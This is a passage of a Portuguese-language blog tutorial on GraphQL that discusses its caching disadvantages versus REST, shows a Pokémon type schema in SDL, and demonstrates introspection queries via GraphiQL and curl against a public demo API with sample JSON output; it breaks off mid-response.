&lt;p&gt;&quot;Cada escolha uma renúncia&quot;, já dizia o poeta.&lt;/p&gt;
&lt;p&gt;O &lt;em&gt;GraphQL&lt;/em&gt; não é bala de prata, e possui desvantagens quando comparado ao &lt;em&gt;REST&lt;/em&gt;. &lt;a href=&quot;https://stackoverflow.com/questions/40689858/are-there-any-disadvantages-to-graphql&quot; title=&quot;Are there any disadvantages to GraphQL?&quot;&gt;Essa &lt;em&gt;thread&lt;/em&gt; no &lt;em&gt;Stackoverflow&lt;/em&gt; lista algumas delas&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Talvez a mais popular seja a ausência de &lt;em&gt;cache built-in&lt;/em&gt;. Com &lt;em&gt;REST&lt;/em&gt;, por utilizarmos o protocolo &lt;em&gt;HTTP&lt;/em&gt;, os mecanismos
para &lt;em&gt;caching&lt;/em&gt; já estão lá. &lt;a href=&quot;/2012/05/14/o-cache-e-o-http.html&quot; title=&quot;O cache e o HTTP&quot;&gt;Dos cabeçalhos utilizados para indicar &lt;em&gt;caching&lt;/em&gt; à compreensão dos clientes&lt;/a&gt;. Diferentes recursos podem ter estratégias de &lt;em&gt;caching&lt;/em&gt; diferentes, uma
vez que eles são servidos em diferentes &lt;em&gt;endpoints&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;Com o &lt;em&gt;GraphQL&lt;/em&gt; utilizamos apenas um &lt;em&gt;endpoint&lt;/em&gt;. Portanto, precisamos implementar uma camada extra de &lt;em&gt;caching&lt;/em&gt;. &lt;a href=&quot;https://graphql.org/learn/caching/&quot; title=&quot;GraphQL: Caching&quot;&gt;Nada impossível de ser alcançado&lt;/a&gt;,
mas ainda assim, uma complexidade a mais.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://www.moesif.com/blog/technical/graphql/REST-vs-GraphQL-APIs-the-good-the-bad-the-ugly/&quot; title=&quot;REST vs GraphQL APIs, the Good, the Bad, the Ugly&quot;&gt;Veja mais desvantagens em relação ao &lt;em&gt;REST&lt;/em&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;Falando GraphQL&lt;/h2&gt;
&lt;p&gt;Possivelmente a melhor forma de adicionar o &lt;em&gt;GraphQL&lt;/em&gt; ao seu projeto é através de plataformas como o &lt;a href=&quot;https://www.apollographql.com/&quot; title=&quot;Simplify app development by combining APIs, databases, and microservices into a single data graph that you can query with GraphQL&quot;&gt;&lt;em&gt;Apollo&lt;/em&gt;&lt;/a&gt;, ou com a utilização de bibliotecas, como é o caso (para &lt;em&gt;servers&lt;/em&gt; em &lt;a href=&quot;/tag/django.html&quot; title=&quot;Leia mais sobre Django&quot;&gt;&lt;em&gt;Django&lt;/em&gt;&lt;/a&gt;) da &lt;a href=&quot;https://github.com/graphql-python/graphene-django&quot; title=&quot;A Django integration for Graphene&quot;&gt;&lt;em&gt;graphene-django&lt;/em&gt;&lt;/a&gt; e
(para &lt;em&gt;clients&lt;/em&gt; em &lt;em&gt;Javascript&lt;/em&gt;) da &lt;a href=&quot;https://relay.dev/&quot; title=&quot;The production-ready GraphQL client for React&quot;&gt;&lt;em&gt;Relay&lt;/em&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot; style=&quot;&quot;&gt;
    &lt;span
      class=&quot;gatsby-resp-image-wrapper&quot;
      style=&quot;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 768px; &quot;
    &gt;
      &lt;a
    class=&quot;gatsby-resp-image-link&quot;
    href=&quot;/static/7f843a01006d17649701911547d17fd0/0d1a4/graphql-apollo-serverless-architecture.png&quot;
    style=&quot;display: block&quot;
    target=&quot;_blank&quot;
    rel=&quot;noopener&quot;
  &gt;
    &lt;span
    class=&quot;gatsby-resp-image-background-image&quot;
    style=&quot;padding-bottom: 54.166666666666664%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAAAsTAAALEwEAmpwYAAABsUlEQVQoz51TPUscURSdf+IfsBN/QLC3shFsrJJCLS22CtikUxCEpElASLBQ2EoLi6wECYs6Li4aIVGTHXfdZT9m5r2Z9zVvTt7MuDsbXcF4mTvw7n3ncu6951n4D4vj+FFMRxKRDAd5K/n1fRg0HE9C/TjnHGEQgLEQNGA43C7geGseSpA0bz1kkLu+97xgrDV834eSEkoZjzSqpfe43F8xsYylJU0yJMkl9ay2GRf/nJvdADcNN2+Z0ADVegseoSkjKTPAlV3Eyc4iQteBNgx1Ai4X8WN1DsHvM0TpACVm337GVKEIL8hwlusTfPvloNXpgjMGSgloKFA9+IjDTzNoO+eGlYTfoLj8soaT5Un0qiUwFZvOXLxa2MD4m010CM8KEkJQsW0ElOabM7NyHAfHR2W0O23AgMVBA2GljfrtdTrLvp2e/8TX75WkYcRPLSUxaWZ612ylxROLPA4dKnAz8+xuhilf3KJY/pMuKGX4UDaj9DZ89jzXSIeBCwHBKCZef8DY4h7sG3d0wVE6HMTNp5SCSIoJCa04ltZ3Mf2uhHqPP9bhS14KNZKr1WqD/F98EkZq+ACx7QAAAABJRU5ErkJggg==&apos;); background-size: cover; display: block;&quot;
  &gt;&lt;/span&gt;
  &lt;img
        class=&quot;gatsby-resp-image-image&quot;
        alt=&quot;Diagrama exibindo uma arquitetura com Serverless e Apollo Platform&quot;
        title=&quot;Exemplo de arquitetura GraphQL e Serverless com Apollo-Server-Lambda (serverless.com)&quot;
        src=&quot;/static/7f843a01006d17649701911547d17fd0/e5715/graphql-apollo-serverless-architecture.png&quot;
        srcset=&quot;/static/7f843a01006d17649701911547d17fd0/8514f/graphql-apollo-serverless-architecture.png 192w,
/static/7f843a01006d17649701911547d17fd0/804b2/graphql-apollo-serverless-architecture.png 384w,
/static/7f843a01006d17649701911547d17fd0/e5715/graphql-apollo-serverless-architecture.png 768w,
/static/7f843a01006d17649701911547d17fd0/0d1a4/graphql-apollo-serverless-architecture.png 1036w&quot;
        sizes=&quot;(max-width: 768px) 100vw, 768px&quot;
        style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&quot;
        loading=&quot;lazy&quot;
      /&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Exemplo de arquitetura GraphQL e Serverless com Apollo-Server-Lambda (serverless.com)&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;Por tratar-se de uma especificação, implementações existirão para diferentes linguagens, arquiteturas, e fins (o próprio &lt;a href=&quot;https://www.gatsbyjs.org/&quot; title=&quot;Fast in every way that matters&quot;&gt;&lt;em&gt;Gatsby&lt;/em&gt;&lt;/a&gt; é um bom exemplo).&lt;/p&gt;
&lt;p&gt;Não vamos focar em como desenvolver sua &lt;em&gt;API&lt;/em&gt; com &lt;em&gt;GraphQL&lt;/em&gt;, e sim em como utilizar a &lt;em&gt;query language&lt;/em&gt;. &lt;a href=&quot;https://github.com/APIs-guru/graphql-apis&quot; title=&quot;Public GraphQL APIs&quot;&gt;Esse repositório no &lt;em&gt;Github&lt;/em&gt;&lt;/a&gt;
disponibiliza algumas &lt;em&gt;APIs&lt;/em&gt; públicas na qual podemos utilizar para exercitar esse &lt;em&gt;skill&lt;/em&gt;. A &lt;a href=&quot;https://github.com/lucasbento/graphql-pokemon&quot; title=&quot;Visite o repositório&quot;&gt;&lt;em&gt;GraphQL Pokémon&lt;/em&gt;&lt;/a&gt; parece
uma boa candidata para este momento do artigo.&lt;/p&gt;
&lt;h3&gt;Tipos&lt;/h3&gt;
&lt;p&gt;Partimos do princípio que queremos definir os tipos que serão servidos pela nossa &lt;em&gt;API&lt;/em&gt;. O &lt;em&gt;GraphQL&lt;/em&gt; possui uma sintaxe específica para definição de tipos chamada &lt;em&gt;Schema Definition Language&lt;/em&gt; (&lt;em&gt;SDL&lt;/em&gt;). No caso
do exemplo do &lt;em&gt;Pokémon&lt;/em&gt;, temos o seguinte:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;graphql&quot;&gt;&lt;pre class=&quot;language-graphql&quot;&gt;&lt;code class=&quot;language-graphql&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;type&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;Pokemon&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;token attr-name&quot;&gt;id&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token scalar&quot;&gt;ID&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;!&lt;/span&gt;
  &lt;span class=&quot;token attr-name&quot;&gt;number&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token scalar&quot;&gt;String&lt;/span&gt;
  &lt;span class=&quot;token attr-name&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token scalar&quot;&gt;String&lt;/span&gt;
  &lt;span class=&quot;token attr-name&quot;&gt;weight&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;PokemonDimension&lt;/span&gt;
  &lt;span class=&quot;token attr-name&quot;&gt;height&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;PokemonDimension&lt;/span&gt;
  &lt;span class=&quot;token attr-name&quot;&gt;classification&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token scalar&quot;&gt;String&lt;/span&gt;
  &lt;span class=&quot;token attr-name&quot;&gt;types&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token scalar&quot;&gt;String&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;
  &lt;span class=&quot;token attr-name&quot;&gt;resistant&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token scalar&quot;&gt;String&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;
  &lt;span class=&quot;token attr-name&quot;&gt;attacks&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;PokemonAttack&lt;/span&gt;
  &lt;span class=&quot;token attr-name&quot;&gt;weaknesses&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token scalar&quot;&gt;String&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;
  &lt;span class=&quot;token attr-name&quot;&gt;fleeRate&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token scalar&quot;&gt;Float&lt;/span&gt;
  &lt;span class=&quot;token attr-name&quot;&gt;maxCP&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token scalar&quot;&gt;Int&lt;/span&gt;
  &lt;span class=&quot;token attr-name&quot;&gt;evolutions&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token class-name&quot;&gt;Pokemon&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;
  &lt;span class=&quot;token attr-name&quot;&gt;evolutionRequirements&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;PokemonEvolutionRequirement&lt;/span&gt;
  &lt;span class=&quot;token attr-name&quot;&gt;maxHP&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token scalar&quot;&gt;Int&lt;/span&gt;
  &lt;span class=&quot;token attr-name&quot;&gt;image&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token scalar&quot;&gt;String&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/lucasbento/graphql-pokemon/blob/master/schemas/schema.graphql&quot; title=&quot;Veja o arquivo no Github&quot;&gt;Veja o &lt;em&gt;schema&lt;/em&gt; na íntegra&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Para quem já teve o mínimo contato com &lt;a href=&quot;/tag/swagger.html&quot; title=&quot;Leia mais sobre Swagger&quot;&gt;&lt;em&gt;Swagger&lt;/em&gt;&lt;/a&gt;, a sintaxe acima não é estranha. A estrutura consiste em basicamente
&lt;code class=&quot;language-text&quot;&gt;field: type&lt;/code&gt;. Onde em &lt;code class=&quot;language-text&quot;&gt;field&lt;/code&gt; damos o nome do campo, e &lt;code class=&quot;language-text&quot;&gt;type&lt;/code&gt; descrevemos o tipo.&lt;/p&gt;
&lt;p&gt;Além dos tipos básicos
(como &lt;code class=&quot;language-text&quot;&gt;String&lt;/code&gt;, &lt;code class=&quot;language-text&quot;&gt;ID&lt;/code&gt;, &lt;code class=&quot;language-text&quot;&gt;Int&lt;/code&gt;), temos estruturas mais complexas, como as listas &lt;code class=&quot;language-text&quot;&gt;[String]&lt;/code&gt; e &lt;code class=&quot;language-text&quot;&gt;[Pokemon]&lt;/code&gt;. &lt;code class=&quot;language-text&quot;&gt;PokemonDimension&lt;/code&gt;, &lt;code class=&quot;language-text&quot;&gt;PokemonAttack&lt;/code&gt; e &lt;code class=&quot;language-text&quot;&gt;PokemonEvolutionRequirement&lt;/code&gt;,
são tipos customizados criados com a mesma sintaxe usada no próprio &lt;code class=&quot;language-text&quot;&gt;Pokemon&lt;/code&gt;. Por exemplo, na linha &lt;code class=&quot;language-text&quot;&gt;evolutions: [Pokemon]&lt;/code&gt;, está expresso o relacionamento
de um &lt;code class=&quot;language-text&quot;&gt;Pokemon&lt;/code&gt; para muitas evoluções (que tratam-se de outras &quot;instâncias&quot; do tipo &lt;code class=&quot;language-text&quot;&gt;Pokemon&lt;/code&gt;).&lt;/p&gt;
&lt;p&gt;Por fim, vale notar o &lt;code class=&quot;language-text&quot;&gt;!&lt;/code&gt; em &lt;code class=&quot;language-text&quot;&gt;ID&lt;/code&gt;, que anota o campo como &lt;code class=&quot;language-text&quot;&gt;required&lt;/code&gt;.&lt;/p&gt;
&lt;h3&gt;Consulta&lt;/h3&gt;
&lt;p&gt;Todas as &lt;em&gt;queries&lt;/em&gt; abaixo podem ser reproduzidas na interface &lt;a href=&quot;https://graphql-pokemon.now.sh/&quot; title=&quot;Execute as queries agora!&quot;&gt;&lt;em&gt;Pokémon GraphiQL&lt;/em&gt;&lt;/a&gt;. Ou ainda,
se você preferir, através de &lt;em&gt;API calls&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;Para aquecer, vamos visualizar o &lt;em&gt;schema&lt;/em&gt;:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;graphql&quot;&gt;&lt;pre class=&quot;language-graphql&quot;&gt;&lt;code class=&quot;language-graphql&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;token object&quot;&gt;__schema&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;token object&quot;&gt;types&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
      &lt;span class=&quot;token property&quot;&gt;name&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
  &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Ou utilizando o &lt;code class=&quot;language-text&quot;&gt;curl&lt;/code&gt;:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;curl &apos;https://graphql-pokemon.now.sh/?&apos; \
  -H &apos;content-type: application/json&apos; \
  --data-binary &apos;{&quot;query&quot;:&quot;{ __schema { types{ name } } }&quot;, &quot;variables&quot;:null, &quot;operationName&quot;:null}&apos;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Como resultado teremos o seguinte:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;json&quot;&gt;&lt;pre class=&quot;language-json&quot;&gt;&lt;code class=&quot;language-json&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;token property&quot;&gt;&quot;data&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;token property&quot;&gt;&quot;__schema&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
      &lt;span class=&quot;token property&quot;&gt;&quot;types&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;
        &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
          &lt;span class=&quot;token property&quot;&gt;&quot;name&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;Query&quot;&lt;/span&gt;
        &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
        &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
          &lt;span class=&quot;token property&quot;&gt;&quot;name&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;Int&quot;&lt;/span&gt;
        &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
        &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
          &lt;span class=&quot;token property&quot;&gt;&quot;name&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;Pokemon&quot;&lt;/span&gt;
        &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
        &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
          &lt;span class=&quot;token property&quot;&gt;&quot;name&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;ID&quot;&lt;/span&gt;
        &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
        &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
          &lt;span class=&quot;token property&quot;&gt;&quot;name&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;String&quot;&lt;/span&gt;
        &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
        &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
          &lt;span class=&quot;token property&quot;&gt;&quot;name&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;PokemonDimension&quot;&lt;/span&gt;
        &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
        &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
          &lt;span class=&quot;token property&quot;&gt;&quot;name&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;PokemonAttack&quot;&lt;/span&gt;
        &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
        &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
          &lt;span class=&quot;token property&quot;&gt;&quot;name&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;Attack&quot;&lt;/span&gt;
        &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
        &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
          &lt;span class=&quot;token property&quot;&gt;&quot;name&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;Float&quot;&lt;/span&gt;
        &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
        &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
          &lt;span class=&quot;token property&quot;&gt;&quot;name&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;PokemonEvolutionRequirement&quot;&lt;/span&gt;
        &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
        &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
          &lt;span class=&quot;token property&quot;&gt;&quot;name&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;__Schema&quot;&lt;/span&gt;
        &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
        &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
          &lt;span class=&quot;token property&quot;&gt;&quot;name&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;__Type&quot;&lt;/span&gt;
        &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
        &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
          &lt;span class=&quot;token property&quot;&gt;&quot;name&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;__TypeKind&quot;&lt;/span&gt;
        &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
        &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
          &lt;span class=&quot;token property&quot;&gt;&quot;name&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;Boolean&quot;&lt;/span&gt;
        &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
        &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
          &lt;span class=&quot;token property&quot;&gt;&quot;name&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;__Field&quot;&lt;/span&gt;
        &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
        &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
          &lt;span class=&quot;token property&quot;&gt;&quot;name&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;__InputValue&quot;&lt;/span&gt;
        &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
        &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
          &lt;span class=&quot;token property&quot;&gt;&quot;name&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;__EnumValue&quot;&lt;/span&gt;
        &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
        &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
          &lt;span class=&quot;token property&quot;&gt;&quot;name&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;__Directive&quot;&lt;/span&gt;
        &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
        &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
          &lt;span class=&quot;token property&quot;&gt;&quot;name&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;__DirectiveLocation&quot;&lt;/span&gt;
        &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
      &lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
  &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Através do &lt;code class=&quot;language-text&quot;&gt;__schema&lt;/code&gt; descobrimos quais tipos são utilizados pelo servidor. Não muito útil para o propósito desse artigo,
mas ainda assim, uma boa forma de olharmos pela primeira vez para uma resposta. Além do fato dela ser em &lt;em&gt;JSON&lt;/em&gt;, repare o &quot;envelopamento&quot;
do &lt;em&gt;payload&lt;/em&gt; através da chave &lt;code class=&quot;language-text&quot;&gt;data&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Para compreender os tipos listados acima, podemos utilizar outra ferramenta de introspecção, chamada &lt;code class=&quot;language-text&quot;&gt;__type&lt;/code&gt;:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;graphql&quot;&gt;&lt;pre class=&quot;language-graphql&quot;&gt;&lt;code class=&quot;language-graphql&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;token property-query&quot;&gt;__type&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token attr-name&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;ID&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;token property&quot;&gt;name&lt;/span&gt;
    &lt;span class=&quot;token property&quot;&gt;kind&lt;/span&gt;
  &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;E como resposta, temos a descrição do tipo &lt;code class=&quot;language-text&quot;&gt;ID&lt;/code&gt; como &lt;code class=&quot;language-text&quot;&gt;SCALAR&lt;/code&gt;:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;json&quot;&gt;&lt;pre class=&quot;language-json&quot;&gt;&lt;code class=&quot;language-json&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;token property&quot;&gt;&quot;data&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;token property&quot;&gt;&quot;__type&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
